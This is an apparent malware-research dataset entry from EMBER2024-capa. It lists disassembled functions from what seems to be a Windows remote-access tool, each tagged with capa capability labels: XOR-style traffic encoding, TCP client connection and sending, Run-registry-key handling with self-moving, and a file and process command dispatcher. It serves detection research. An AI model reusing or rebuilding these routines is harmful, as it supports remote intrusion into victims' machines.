joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4084b0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x408525
cmp edx, 0x20
jb 0x408510
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x4084ce
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x5b4940]
mov edi, edx
movaps xmm3, xmmword [0x5b4910]
sub edi, ecx
movups xmm0, xmmword [esi + eax]
movaps xmm1, xmm2
pxor xmm1, xmm0
psubb xmm1, xmm3
movups xmmword [esi + eax], xmm1
movups xmm0, xmmword [esi + eax + 0x10]
movaps xmm1, xmm2
pxor xmm1, xmm0
psubb xmm1, xmm3
movups xmmword [esi + eax + 0x10], xmm1
add eax, 0x20
cmp eax, edi
jl 0x4084e0
pop edi
cmp eax, edx
jge 0x408525
mov cl, byte [eax + esi]
xor cl, 0x99
sub cl, 0x11
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x408514
mov eax, esi
pop esi
ret

Function at 0x408530
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x4085a5
cmp edx, 0x20
jb 0x408590
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x40854e
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x5b4910]
mov edi, edx
movaps xmm3, xmmword [0x5b4940]
sub edi, ecx
movups xmm0, xmmword [esi + eax]
movaps xmm1, xmm2
paddb xmm1, xmm0
pxor xmm1, xmm3
movups xmmword [esi + eax], xmm1
movups xmm0, xmmword [esi + eax + 0x10]
movaps xmm1, xmm2
paddb xmm1, xmm0
pxor xmm1, xmm3
movups xmmword [esi + eax + 0x10], xmm1
add eax, 0x20
cmp eax, edi
jl 0x408560
pop edi
cmp eax, edx
jge 0x4085a5
mov cl, byte [eax + esi]
add cl, 0x11
xor cl, 0x99
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x408594
mov eax, esi
pop esi
ret

Function at 0x4085b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push 0x190
push 0
push eax
mov dword [esi], vtable.CClientSocket.0
mov dword [esi + 4], vtable.CBuffer.0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], vtable.CBuffer.0
mov dword [esi + 0x20], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], vtable.CBuffer.0
mov dword [esi + 0x30], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
call fcn.00552b90
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x3c], eax
mov eax, esi
mov byte [esi + 0x40], 0
mov dword [esi + 0x38], 0xffffffff
pop esi
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
Function at 0x4086b0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
push 0xffffffffffffffff
lea esi, [edi + 0x40]
mov byte [esi], 0
push dword [edi + 0x34]
mov dword [edi], vtable.CClientSocket.0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [edi + 0x38]
cmp eax, 0xffffffff
je 0x408720
push 4
lea ecx, [ebp - 4]
mov dword [ebp - 4], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push dword [edi + 0x38]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x3c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [edi + 0x38], 0xffffffff
push dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x3c]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [edi + 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 0x24], vtable.CBuffer.0
test eax, eax
je 0x408754
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x18]
mov dword [edi + 0x14], vtable.CBuffer.0
test eax, eax
je 0x40876c
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 8]
mov dword [edi + 4], vtable.CBuffer.0
test eax, eax
je 0x408784
push 0x8000
push 0
push eax
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408790
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x24]
push 4
push eax
mov esi, ecx
mov dword [ebp - 0x24], 1
push 0x80
push 0xffff
push dword [esi + 0x38]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea ebx, [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push dword [esi + 0x38]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0x3c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [esi + 0x3c]
mov dword [esi + 0x38], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x38], eax
cmp eax, 0xffffffff
jne 0x40882b
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x408816
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0x38]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x408816
push 4
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 1
push eax
push 8
push 0xffff
push dword [esi + 0x38]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4088c2
push eax
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x10], 1
push eax
push 4
lea eax, [ebp - 0x28]
mov dword [ebp - 0xc], 0x2bf20
push eax
push 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0x1388
push eax
push 0x98000004
push dword [esi + 0x38]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
sub esp, 8
mov byte [ebx], 1
push esi
push 0x4088f0
call fcn.00415650
mov ecx, dword [ebp - 4]
add esp, 0x14
mov dword [esi + 0x34], eax
xor ecx, ebp
mov al, 1
pop edi
pop esi
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x408d60
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 8], ecx
mov ecx, ebx
push edi
call fcn.004084b0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov dword [ebp - 4], esi
mov eax, edx
cmp edx, 0x2000
mov ecx, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp + 8], eax
jb 0x408de7
xor esi, esi
nop dword [eax]
mov eax, dword [ebp - 8]
push 0
push 0x2000
push ebx
push dword [eax + 0x38]
call ecx
test eax, eax
jg 0x408dc6
push 0x64
call edi
inc esi
cmp esi, 0xf
jge 0x408e13
mov ecx, dword [sym.imp.WS2_32.dll_send]
jmp 0x408da0
mov esi, dword [ebp - 4]
add ebx, 0x2000
add esi, eax
push 0xa
mov dword [ebp - 4], esi
call edi
mov eax, dword [ebp + 8]
sub eax, 0x2000
cmp eax, 0x2000
jmp 0x408d8c
test eax, eax
jle 0x408e24
xor esi, esi
nop dword [eax]
push 0
push eax
mov eax, dword [ebp - 8]
push ebx
push dword [eax + 0x38]
call ecx
test eax, eax
jg 0x408e1f
push 0x64
call edi
mov eax, dword [ebp + 8]
inc esi
mov ecx, dword [sym.imp.WS2_32.dll_send]
cmp esi, 0xf
jl 0x408df0
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ebp - 4]
add esi, eax
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x409960
Capabilities:
Check os version
Delete file
Delete registry value
Get common file path
Move file
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1a0]
push eax
push 0x20007
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4099b2
push 0x5b393c
push dword [ebp - 0x1a0]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x1a0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x19c]
mov dword [ebp - 0x19c], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x18c], 2
jne 0x4099eb
mov eax, dword [0x5dc4a4]
mov ecx, 1
cmp dword [ebp - 0x198], 6
cmovae eax, ecx
mov dword [0x5dc4a4], eax
push str.RomoteDeskHelp.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x108]
push eax
push str._s_d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
push 0x5b3960
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x409df0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0041d839

Function at 0x40a180
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx]
dec eax
cmp eax, 0x10
ja case.default.0x40a19d
jmp dword [eax*4 + 0x40a314]
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040ada0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [esp + 0xc], 0x16
jmp 0x40a2fb
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040afa0
mov byte [esp + 0xc], 0x16
jmp 0x40a2fb
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b0d0
mov byte [esp + 0xc], 0x1e
jmp 0x40a2fb
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
push eax
call fcn.0040b190
mov byte [esp + 0xc], 0x1e
jmp 0x40a2fb
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b480
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b310
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push eax
call fcn.0040a820
mov byte [esp + 0xc], 0x19
jmp 0x40a2fb
lea esi, [ecx + 1]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add eax, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov byte [esp + 0xc], 0x1b
jmp 0x40a2fb
mov ecx, edi
call fcn.0040b800
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ecx + 1]
mov ecx, edi
mov dword [edi + 0x14], eax
call fcn.0040b930
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b870
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040ba60
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
inc ecx
mov edx, 5
call fcn.0040a9a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
inc ecx
xor edx, edx
call fcn.0040a9a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040a790
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, edi
call fcn.0040a750
mov byte [esp + 0xc], 0x1d
push 1
lea eax, [esp + 0x10]
mov ecx, edi
push eax
call fcn.00409ef0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40a1b7
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx]
dec eax
cmp eax, 0x10
ja case.default.0x40a19d
jmp dword [eax*4 + 0x40a314]
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040ada0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [esp + 0xc], 0x16
jmp 0x40a2fb
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040afa0
mov byte [esp + 0xc], 0x16
jmp 0x40a2fb
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b0d0
mov byte [esp + 0xc], 0x1e
jmp 0x40a2fb
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
push eax
call fcn.0040b190
mov byte [esp + 0xc], 0x1e
jmp 0x40a2fb
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b480
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b310
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push eax
call fcn.0040a820
mov byte [esp + 0xc], 0x19
jmp 0x40a2fb
lea esi, [ecx + 1]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add eax, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov byte [esp + 0xc], 0x1b
jmp 0x40a2fb
mov ecx, edi
call fcn.0040b800
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ecx + 1]
mov ecx, edi
mov dword [edi + 0x14], eax
call fcn.0040b930
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b870
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040ba60
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
inc ecx
mov edx, 5
call fcn.0040a9a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
inc ecx
xor edx, edx
call fcn.0040a9a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040a790
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, edi
call fcn.0040a750
mov byte [esp + 0xc], 0x1d
push 1
lea eax, [esp + 0x10]
mov ecx, edi
push eax
call fcn.00409ef0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40a24b
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx]
dec eax
cmp eax, 0x10
ja case.default.0x40a19d
jmp dword [eax*4 + 0x40a314]
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040ada0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [esp + 0xc], 0x16
jmp 0x40a2fb
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040afa0
mov byte [esp + 0xc], 0x16
jmp 0x40a2fb
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b0d0
mov byte [esp + 0xc], 0x1e
jmp 0x40a2fb
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
push eax
call fcn.0040b190
mov byte [esp + 0xc], 0x1e
jmp 0x40a2fb
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b480
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b310
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push eax
call fcn.0040a820
mov byte [esp + 0xc], 0x19
jmp 0x40a2fb
lea esi, [ecx + 1]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add eax, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov byte [esp + 0xc], 0x1b
jmp 0x40a2fb
mov ecx, edi
call fcn.0040b800
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ecx + 1]
mov ecx, edi
mov dword [edi + 0x14], eax
call fcn.0040b930
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040b870
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040ba60
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
inc ecx
mov edx, 5
call fcn.0040a9a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
inc ecx
xor edx, edx
call fcn.0040a9a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
mov ecx, edi
push eax
call fcn.0040a790
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, edi
call fcn.0040a750
mov byte [esp + 0xc], 0x1d
push 1
lea eax, [esp + 0x10]
mov ecx, edi
push eax
call fcn.00409ef0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40a790
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0
push 0
push 0
mov dword [ebx + 0x12c], 0
lea edi, [ebx + 0x130]
mov ecx, 0x5b
mov dword [ebp - 0x14], 0x40a710
rep movsd dword es:[edi], dword [esi]
push 0
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x4155a0
push 0
push 0
call fcn.0055ad4c
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov dword [ebx + 0x128], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40a820
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5bd828
push 0x553170
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x5d1124]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.0055897e
add esp, 4
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x40a983
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x40a8dd
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x40a8dd
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
mov al, byte [esi]
test al, al
je 0x40a8b8
cmp al, 0x5c
je 0x40a8b8
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x40a8a4
cmp byte [esi], 0
je 0x40a8c1
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40a8d2
cmp al, 0x5c
je 0x40a8d2
push esi
call ebx
mov esi, eax
jmp 0x40a8be
cmp byte [esi], 0
je 0x40a902
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x40a902
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x40a8fc
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40a8fc
cmp al, 0x5c
jne 0x40a8fc
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
mov al, byte [esi]
test al, al
je 0x40a949
cmp al, 0x5c
jne 0x40a93f
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40a938
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40a93c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40a93c
push edi
jmp 0x40a97b
test al, 0x10
je 0x40a935
mov byte [esi], 0x5c
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x40a902
mov dword [ebp - 4], 0xfffffffe
push edi
call fcn.005553e7
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.005553e7
add esp, 4
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40a9a0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x574
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
mov ebx, edx
push 0
push eax
mov edi, ecx
call fcn.00552b90
push 0x2e
push edi
call fcn.00552490
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x40a9f1
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00552b90
push 0x20
push esi
call fcn.00552490
add esp, 0x14
test eax, eax
je 0x40aa48
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aa18
sub ecx, edx
lea eax, [ecx - 1]
test eax, eax
jle 0x40aa5d
cmp byte [eax + esi], 0x20
je 0x40aa35
dec eax
test eax, eax
jg 0x40aa28
jmp 0x40aa5d
push eax
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.00558630
add esp, 0xc
jmp 0x40aa5d
lea ecx, [ebp - 0x218]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x40aa50
push ecx
push 0x104
push ecx
lea eax, [ebp - 0x110]
mov ecx, closesocket
push eax
push 1
push 0
lea edx, [ebp - 0x218]
call fcn.00414070
add esp, 0x18
test eax, eax
je 0x40a9de
push 0x1f4
lea eax, [ebp - 0x518]
push 0
push eax
call fcn.00552b90
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x518]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.00552b90
push 0x104
lea eax, [ebp - 0x320]
push 0
push eax
call fcn.00552b90
add esp, 0x2c
lea eax, [ebp - 0x320]
lea edx, [ebp - 0x518]
push 0x104
push ecx
push eax
push 2
push 0
mov ecx, closesocket
call fcn.00414070
add esp, 0x18
test eax, eax
je 0x40a9de
push 0x104
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x110]
push 0x5b3c04
push eax
call fcn.00552220
add esp, 8
test eax, eax
jne 0x40ab74
lea eax, [ebp - 0x110]
push 0x5b3c08
push eax
call fcn.00552220
add esp, 8
test eax, eax
jne 0x40ab74
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x110]
push 0x5b3c0c
push eax
call esi
push edi
lea eax, [ebp - 0x110]
push eax
call esi
jmp 0x40ab7c
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40
lea eax, [ebp - 0x55c]
push 0
push eax
call fcn.00552b90
add esp, 0xc
mov dword [ebp - 0x560], 0x44
test ebx, ebx
je 0x40aba9
mov dword [ebp - 0x558], str.WinSta0Default
jmp 0x40abbc
xor eax, eax
mov dword [ebp - 0x534], 1
mov word [ebp - 0x530], ax
lea eax, [ebp - 0x570]
push eax
lea eax, [ebp - 0x560]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret